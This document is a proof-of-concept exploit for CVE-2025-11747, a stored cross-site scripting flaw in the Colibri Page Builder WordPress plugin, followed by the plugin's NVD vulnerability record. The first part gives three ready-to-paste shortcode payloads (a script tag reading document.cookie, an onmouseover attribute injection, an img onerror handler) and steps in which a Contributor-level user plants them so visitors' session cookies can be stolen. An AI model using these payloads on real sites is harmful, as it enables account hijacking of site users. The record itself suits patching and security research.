CVE-2025-11747

// CVE-2025-11747 PoC - Stored XSS in Colibri Page Builder // Author: [email protected] // Affected: Colibri Page Builder <= 1.0.345 // Method 1: Via WordPress Shortcode (requires Contributor+ access) // Add this shortcode to any WordPress page/post: [colibri_blog_posts category='"><script>alert(document.cookie)</script>'] // Method 2: Via category attribute injection [colibri_blog_posts category='test" onmouseover="alert(1)" x='] // Method 3: Via posts parameter [colibri_blog_posts posts='<img src=x onerror=alert(document.domain)>'] // Exploitation scenario: // 1. Attacker with Contributor role creates/edits a post // 2. Inserts malicious shortcode with XSS payload // 3. Saves/publishes the post // 4. Any user viewing the post will execute the injected JS // 5. Attacker can steal session cookies, perform actions as victim // Reference: https://plugins.trac.wordpress.org/browser/colibri-page-builder/trunk/extend-builder/shortcodes/blog-posts.php#L251

{"cve": {"id": "CVE-2025-11747", "sourceIdentifier": "[email protected]", "published": "2025-12-19T09:15:45.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the colibri_blog_posts shortcode in all versions up to, and including, 1.0.345 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/colibri-page-builder/trunk/extend-builder/shortcodes/blog-posts.php#L251", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421590/colibri-page-builder/trunk/extend-builder/shortcodes/blog-posts.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e3305b39-5f7b-493b-80b5-cb925c2710c1?source=cve", "source": "[email protected]"}]}}